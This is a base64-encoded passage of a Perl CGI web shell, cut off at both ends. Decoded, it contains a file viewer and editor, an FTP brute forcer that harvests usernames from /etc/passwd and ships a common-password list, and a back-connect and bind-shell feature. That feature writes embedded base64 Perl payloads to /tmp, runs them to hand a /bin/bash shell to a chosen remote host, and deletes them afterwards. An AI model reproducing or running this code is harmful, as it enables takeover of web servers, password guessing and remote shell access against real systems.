T09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAiJGZpbGUiOw0KCX0NCglyZXR1cm4gIjAiOw0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaW